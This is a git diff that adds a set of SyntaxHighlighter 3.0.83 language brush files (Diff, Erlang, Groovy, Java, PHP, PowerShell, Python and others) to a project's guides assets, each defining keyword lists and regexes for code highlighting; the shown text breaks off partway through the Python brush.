diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js b/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js
new file mode 100644
index 0000000..e9b14fc
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js
@@ -0,0 +1,41 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ this.regexList = [
+ { regex: /^\+\+\+.*$/gm, css: 'color2' },
+ { regex: /^\-\-\-.*$/gm, css: 'color2' },
+ { regex: /^\s.*$/gm, css: 'color1' },
+ { regex: /^@@.*@@$/gm, css: 'variable' },
+ { regex: /^\+[^\+]{1}.*$/gm, css: 'string' },
+ { regex: /^\-[^\-]{1}.*$/gm, css: 'comments' }
+ ];
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['diff', 'patch'];
+
+ SyntaxHighlighter.brushes.Diff = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js b/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js
new file mode 100644
index 0000000..6ba7d9d
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js
@@ -0,0 +1,52 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Contributed by Jean-Lou Dupont
+ // http://jldupont.blogspot.com/2009/06/erlang-syntax-highlighter.html
+
+ // According to: http://erlang.org/doc/reference_manual/introduction.html#1.5
+ var keywords = 'after and andalso band begin bnot bor bsl bsr bxor '+
+ 'case catch cond div end fun if let not of or orelse '+
+ 'query receive rem try when xor'+
+ // additional
+ ' module export import define';
+
+ this.regexList = [
+ { regex: new RegExp("[A-Z][A-Za-z0-9_]+", 'g'), css: 'constants' },
+ { regex: new RegExp("\\%.+", 'gm'), css: 'comments' },
+ { regex: new RegExp("\\?[A-Za-z0-9_]+", 'g'), css: 'preprocessor' },
+ { regex: new RegExp("[a-z0-9_]+:[a-z0-9_]+", 'g'), css: 'functions' },
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' },
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' },
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }
+ ];
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['erl', 'erlang'];
+
+ SyntaxHighlighter.brushes.Erland = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js b/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js
new file mode 100644
index 0000000..6ec5c18
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js
@@ -0,0 +1,67 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Contributed by Andres Almiray
+ // http://jroller.com/aalmiray/entry/nice_source_code_syntax_highlighter
+
+ var keywords = 'as assert break case catch class continue def default do else extends finally ' +
+ 'if in implements import instanceof interface new package property return switch ' +
+ 'throw throws try while public protected private static';
+ var types = 'void boolean byte char short int long float double';
+ var constants = 'null';
+ var methods = 'allProperties count get size '+
+ 'collect each eachProperty eachPropertyName eachWithIndex find findAll ' +
+ 'findIndexOf grep inject max min reverseEach sort ' +
+ 'asImmutable asSynchronized flatten intersect join pop reverse subMap toList ' +
+ 'padRight padLeft contains eachMatch toCharacter toLong toUrl tokenize ' +
+ 'eachFile eachFileRecurse eachB yte eachLine readBytes readLine getText ' +
+ 'splitEachLine withReader append encodeBase64 decodeBase64 filterLine ' +
+ 'transformChar transformLine withOutputStream withPrintWriter withStream ' +
+ 'withStreams withWriter withWriterAppend write writeLine '+
+ 'dump inspect invokeMethod print println step times upto use waitForOrKill '+
+ 'getText';
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
+ { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
+ { regex: /""".*"""/g, css: 'string' }, // GStrings
+ { regex: new RegExp('\\b([\\d]+(\\.[\\d]+)?|0x[a-f0-9]+)\\b', 'gi'), css: 'value' }, // numbers
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // goovy keyword
+ { regex: new RegExp(this.getKeywords(types), 'gm'), css: 'color1' }, // goovy/java type
+ { regex: new RegExp(this.getKeywords(constants), 'gm'), css: 'constants' }, // constants
+ { regex: new RegExp(this.getKeywords(methods), 'gm'), css: 'functions' } // methods
+ ];
+
+ this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+ }
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['groovy'];
+
+ SyntaxHighlighter.brushes.Groovy = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js b/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js
new file mode 100644
index 0000000..ff98dab
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js
@@ -0,0 +1,52 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ var keywords = 'break case catch continue ' +
+ 'default delete do else false ' +
+ 'for function if in instanceof ' +
+ 'new null return super switch ' +
+ 'this throw true try typeof var while with'
+ ;
+
+ var r = SyntaxHighlighter.regexLib;
+
+ this.regexList = [
+ { regex: r.multiLineDoubleQuotedString, css: 'string' }, // double quoted strings
+ { regex: r.multiLineSingleQuotedString, css: 'string' }, // single quoted strings
+ { regex: r.singleLineCComments, css: 'comments' }, // one line comments
+ { regex: r.multiLineCComments, css: 'comments' }, // multiline comments
+ { regex: /\s*#.*/gm, css: 'preprocessor' }, // preprocessor tags like #region and #endregion
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // keywords
+ ];
+
+ this.forHtmlScript(r.scriptScriptTags);
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['js', 'jscript', 'javascript'];
+
+ SyntaxHighlighter.brushes.JScript = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js b/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js
new file mode 100644
index 0000000..d692fd6
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushJava.js
@@ -0,0 +1,57 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ var keywords = 'abstract assert boolean break byte case catch char class const ' +
+ 'continue default do double else enum extends ' +
+ 'false final finally float for goto if implements import ' +
+ 'instanceof int interface long native new null ' +
+ 'package private protected public return ' +
+ 'short static strictfp super switch synchronized this throw throws true ' +
+ 'transient try void volatile while';
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
+ { regex: /\/\*([^\*][\s\S]*)?\*\//gm, css: 'comments' }, // multiline comments
+ { regex: /\/\*(?!\*\/)\*[\s\S]*?\*\//gm, css: 'preprocessor' }, // documentation comments
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
+ { regex: /\b([\d]+(\.[\d]+)?|0x[a-f0-9]+)\b/gi, css: 'value' }, // numbers
+ { regex: /(?!\@interface\b)\@[\$\w]+\b/g, css: 'color1' }, // annotation @anno
+ { regex: /\@interface\b/g, css: 'color2' }, // @interface keyword
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // java keyword
+ ];
+
+ this.forHtmlScript({
+ left : /(<|<)%[@!=]?/g,
+ right : /%(>|>)/g
+ });
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['java'];
+
+ SyntaxHighlighter.brushes.Java = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js b/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js
new file mode 100644
index 0000000..1a150a6
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushJavaFX.js
@@ -0,0 +1,58 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Contributed by Patrick Webster
+ // http://patrickwebster.blogspot.com/2009/04/javafx-brush-for-syntaxhighlighter.html
+ var datatypes = 'Boolean Byte Character Double Duration '
+ + 'Float Integer Long Number Short String Void'
+ ;
+
+ var keywords = 'abstract after and as assert at before bind bound break catch class '
+ + 'continue def delete else exclusive extends false finally first for from '
+ + 'function if import in indexof init insert instanceof into inverse last '
+ + 'lazy mixin mod nativearray new not null on or override package postinit '
+ + 'protected public public-init public-read replace return reverse sizeof '
+ + 'step super then this throw true try tween typeof var where while with '
+ + 'attribute let private readonly static trigger'
+ ;
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' },
+ { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' },
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' },
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' },
+ { regex: /(-?\.?)(\b(\d*\.?\d+|\d+\.?\d*)(e[+-]?\d+)?|0x[a-f\d]+)\b\.?/gi, css: 'color2' }, // numbers
+ { regex: new RegExp(this.getKeywords(datatypes), 'gm'), css: 'variable' }, // datatypes
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }
+ ];
+ this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['jfx', 'javafx'];
+
+ SyntaxHighlighter.brushes.JavaFX = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js
new file mode 100644
index 0000000..d94a2e0
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPerl.js
@@ -0,0 +1,72 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Contributed by David Simmons-Duffin and Marty Kube
+
+ var funcs =
+ 'abs accept alarm atan2 bind binmode chdir chmod chomp chop chown chr ' +
+ 'chroot close closedir connect cos crypt defined delete each endgrent ' +
+ 'endhostent endnetent endprotoent endpwent endservent eof exec exists ' +
+ 'exp fcntl fileno flock fork format formline getc getgrent getgrgid ' +
+ 'getgrnam gethostbyaddr gethostbyname gethostent getlogin getnetbyaddr ' +
+ 'getnetbyname getnetent getpeername getpgrp getppid getpriority ' +
+ 'getprotobyname getprotobynumber getprotoent getpwent getpwnam getpwuid ' +
+ 'getservbyname getservbyport getservent getsockname getsockopt glob ' +
+ 'gmtime grep hex index int ioctl join keys kill lc lcfirst length link ' +
+ 'listen localtime lock log lstat map mkdir msgctl msgget msgrcv msgsnd ' +
+ 'oct open opendir ord pack pipe pop pos print printf prototype push ' +
+ 'quotemeta rand read readdir readline readlink readpipe recv rename ' +
+ 'reset reverse rewinddir rindex rmdir scalar seek seekdir select semctl ' +
+ 'semget semop send setgrent sethostent setnetent setpgrp setpriority ' +
+ 'setprotoent setpwent setservent setsockopt shift shmctl shmget shmread ' +
+ 'shmwrite shutdown sin sleep socket socketpair sort splice split sprintf ' +
+ 'sqrt srand stat study substr symlink syscall sysopen sysread sysseek ' +
+ 'system syswrite tell telldir time times tr truncate uc ucfirst umask ' +
+ 'undef unlink unpack unshift utime values vec wait waitpid warn write';
+
+ var keywords =
+ 'bless caller continue dbmclose dbmopen die do dump else elsif eval exit ' +
+ 'for foreach goto if import last local my next no our package redo ref ' +
+ 'require return sub tie tied unless untie until use wantarray while';
+
+ this.regexList = [
+ { regex: new RegExp('#[^!].*$', 'gm'), css: 'comments' },
+ { regex: new RegExp('^\\s*#!.*$', 'gm'), css: 'preprocessor' }, // shebang
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' },
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' },
+ { regex: new RegExp('(\\$|@|%)\\w+', 'g'), css: 'variable' },
+ { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' },
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }
+ ];
+
+ this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags);
+ }
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['perl', 'Perl', 'pl'];
+
+ SyntaxHighlighter.brushes.Perl = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js
new file mode 100644
index 0000000..95e6e43
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPhp.js
@@ -0,0 +1,88 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ var funcs = 'abs acos acosh addcslashes addslashes ' +
+ 'array_change_key_case array_chunk array_combine array_count_values array_diff '+
+ 'array_diff_assoc array_diff_key array_diff_uassoc array_diff_ukey array_fill '+
+ 'array_filter array_flip array_intersect array_intersect_assoc array_intersect_key '+
+ 'array_intersect_uassoc array_intersect_ukey array_key_exists array_keys array_map '+
+ 'array_merge array_merge_recursive array_multisort array_pad array_pop array_product '+
+ 'array_push array_rand array_reduce array_reverse array_search array_shift '+
+ 'array_slice array_splice array_sum array_udiff array_udiff_assoc '+
+ 'array_udiff_uassoc array_uintersect array_uintersect_assoc '+
+ 'array_uintersect_uassoc array_unique array_unshift array_values array_walk '+
+ 'array_walk_recursive atan atan2 atanh base64_decode base64_encode base_convert '+
+ 'basename bcadd bccomp bcdiv bcmod bcmul bindec bindtextdomain bzclose bzcompress '+
+ 'bzdecompress bzerrno bzerror bzerrstr bzflush bzopen bzread bzwrite ceil chdir '+
+ 'checkdate checkdnsrr chgrp chmod chop chown chr chroot chunk_split class_exists '+
+ 'closedir closelog copy cos cosh count count_chars date decbin dechex decoct '+
+ 'deg2rad delete ebcdic2ascii echo empty end ereg ereg_replace eregi eregi_replace error_log '+
+ 'error_reporting escapeshellarg escapeshellcmd eval exec exit exp explode extension_loaded '+
+ 'feof fflush fgetc fgetcsv fgets fgetss file_exists file_get_contents file_put_contents '+
+ 'fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype '+
+ 'floatval flock floor flush fmod fnmatch fopen fpassthru fprintf fputcsv fputs fread fscanf '+
+ 'fseek fsockopen fstat ftell ftok getallheaders getcwd getdate getenv gethostbyaddr gethostbyname '+
+ 'gethostbynamel getimagesize getlastmod getmxrr getmygid getmyinode getmypid getmyuid getopt '+
+ 'getprotobyname getprotobynumber getrandmax getrusage getservbyname getservbyport gettext '+
+ 'gettimeofday gettype glob gmdate gmmktime ini_alter ini_get ini_get_all ini_restore ini_set '+
+ 'interface_exists intval ip2long is_a is_array is_bool is_callable is_dir is_double '+
+ 'is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long '+
+ 'is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault '+
+ 'is_string is_subclass_of is_uploaded_file is_writable is_writeable mkdir mktime nl2br '+
+ 'parse_ini_file parse_str parse_url passthru pathinfo print readlink realpath rewind rewinddir rmdir '+
+ 'round str_ireplace str_pad str_repeat str_replace str_rot13 str_shuffle str_split '+
+ 'str_word_count strcasecmp strchr strcmp strcoll strcspn strftime strip_tags stripcslashes '+
+ 'stripos stripslashes stristr strlen strnatcasecmp strnatcmp strncasecmp strncmp strpbrk '+
+ 'strpos strptime strrchr strrev strripos strrpos strspn strstr strtok strtolower strtotime '+
+ 'strtoupper strtr strval substr substr_compare';
+
+ var keywords = 'abstract and array as break case catch cfunction class clone const continue declare default die do ' +
+ 'else elseif enddeclare endfor endforeach endif endswitch endwhile extends final for foreach ' +
+ 'function include include_once global goto if implements interface instanceof namespace new ' +
+ 'old_function or private protected public return require require_once static switch ' +
+ 'throw try use var while xor ';
+
+ var constants = '__FILE__ __LINE__ __METHOD__ __FUNCTION__ __CLASS__';
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
+ { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
+ { regex: /\$\w+/g, css: 'variable' }, // variables
+ { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' }, // common functions
+ { regex: new RegExp(this.getKeywords(constants), 'gmi'), css: 'constants' }, // constants
+ { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' } // keyword
+ ];
+
+ this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags);
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['php'];
+
+ SyntaxHighlighter.brushes.Php = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js
new file mode 100644
index 0000000..9f7d9e9
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPlain.js
@@ -0,0 +1,33 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['text', 'plain'];
+
+ SyntaxHighlighter.brushes.Plain = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js
new file mode 100644
index 0000000..0be1752
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPowerShell.js
@@ -0,0 +1,74 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Contributes by B.v.Zanten, Getronics
+ // http://confluence.atlassian.com/display/CONFEXT/New+Code+Macro
+
+ var keywords = 'Add-Content Add-History Add-Member Add-PSSnapin Clear(-Content)? Clear-Item ' +
+ 'Clear-ItemProperty Clear-Variable Compare-Object ConvertFrom-SecureString Convert-Path ' +
+ 'ConvertTo-Html ConvertTo-SecureString Copy(-Item)? Copy-ItemProperty Export-Alias ' +
+ 'Export-Clixml Export-Console Export-Csv ForEach(-Object)? Format-Custom Format-List ' +
+ 'Format-Table Format-Wide Get-Acl Get-Alias Get-AuthenticodeSignature Get-ChildItem Get-Command ' +
+ 'Get-Content Get-Credential Get-Culture Get-Date Get-EventLog Get-ExecutionPolicy ' +
+ 'Get-Help Get-History Get-Host Get-Item Get-ItemProperty Get-Location Get-Member ' +
+ 'Get-PfxCertificate Get-Process Get-PSDrive Get-PSProvider Get-PSSnapin Get-Service ' +
+ 'Get-TraceSource Get-UICulture Get-Unique Get-Variable Get-WmiObject Group-Object ' +
+ 'Import-Alias Import-Clixml Import-Csv Invoke-Expression Invoke-History Invoke-Item ' +
+ 'Join-Path Measure-Command Measure-Object Move(-Item)? Move-ItemProperty New-Alias ' +
+ 'New-Item New-ItemProperty New-Object New-PSDrive New-Service New-TimeSpan ' +
+ 'New-Variable Out-Default Out-File Out-Host Out-Null Out-Printer Out-String Pop-Location ' +
+ 'Push-Location Read-Host Remove-Item Remove-ItemProperty Remove-PSDrive Remove-PSSnapin ' +
+ 'Remove-Variable Rename-Item Rename-ItemProperty Resolve-Path Restart-Service Resume-Service ' +
+ 'Select-Object Select-String Set-Acl Set-Alias Set-AuthenticodeSignature Set-Content ' +
+ 'Set-Date Set-ExecutionPolicy Set-Item Set-ItemProperty Set-Location Set-PSDebug ' +
+ 'Set-Service Set-TraceSource Set(-Variable)? Sort-Object Split-Path Start-Service ' +
+ 'Start-Sleep Start-Transcript Stop-Process Stop-Service Stop-Transcript Suspend-Service ' +
+ 'Tee-Object Test-Path Trace-Command Update-FormatData Update-TypeData Where(-Object)? ' +
+ 'Write-Debug Write-Error Write(-Host)? Write-Output Write-Progress Write-Verbose Write-Warning';
+ var alias = 'ac asnp clc cli clp clv cpi cpp cvpa diff epal epcsv fc fl ' +
+ 'ft fw gal gc gci gcm gdr ghy gi gl gm gp gps group gsv ' +
+ 'gsnp gu gv gwmi iex ihy ii ipal ipcsv mi mp nal ndr ni nv oh rdr ' +
+ 'ri rni rnp rp rsnp rv rvpa sal sasv sc select si sl sleep sort sp ' +
+ 'spps spsv sv tee cat cd cp h history kill lp ls ' +
+ 'mount mv popd ps pushd pwd r rm rmdir echo cls chdir del dir ' +
+ 'erase rd ren type % \\?';
+
+ this.regexList = [
+ { regex: /#.*$/gm, css: 'comments' }, // one line comments
+ { regex: /\$[a-zA-Z0-9]+\b/g, css: 'value' }, // variables $Computer1
+ { regex: /\-[a-zA-Z]+\b/g, css: 'keyword' }, // Operators -not -and -eq
+ { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
+ { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
+ { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' },
+ { regex: new RegExp(this.getKeywords(alias), 'gmi'), css: 'keyword' }
+ ];
+ };
+
+ Brush.prototype = new SyntaxHighlighter.Highlighter();
+ Brush.aliases = ['powershell', 'ps'];
+
+ SyntaxHighlighter.brushes.PowerShell = Brush;
+
+ // CommonJS
+ typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js b/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js
new file mode 100644
index 0000000..ce77462
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushPython.js
@@ -0,0 +1,64 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+ // CommonJS
+ typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+ function Brush()
+ {
+ // Contributed by Gheorghe Milas and Ahmad Sherif
+
+ var keywords = 'and assert break class continue def del elif else ' +
+ 'except exec finally for from global if import in is ' +
+ 'lambda not or pass print raise return try yield while';
+
+ var funcs = '__import__ abs all any apply basestring bin bool buffer callable ' +
+ 'chr classmethod cmp coerce compile complex delattr dict dir ' +
+ 'divmod enumerate eval execfile file filter float format frozenset ' +
+ 'getattr globals hasattr hash help hex id input int intern ' +
+ 'isinstance issubclass iter len list locals long map max min next ' +
+ 'object oct open ord pow print property range raw_input reduce ' +
+ 'reload repr reversed round set setattr slice sorted staticmethod ' +
+ 'str sum super tuple type type unichr unicode vars xrange zip';
+
+ var special = 'None True False self cls class_';
+
+ this.regexList = [
+ { regex: SyntaxHighlighter.regexLib.singleLinePerlComments, css: 'comments' },
+ { regex: /^\s*@\w+/gm, css: 'decorator' },
+ { regex: /(['\"]{3})([^\1])*?\1/gm, css: 'comments' },
+ { regex: /"(?!")(?:\.|\\\"|[^\""\n])*"/gm, css: 'string' },
+ { regex: /'(?!')(?:\.|(\\\')|[^\''\n])*'/gm, css: 'string' },
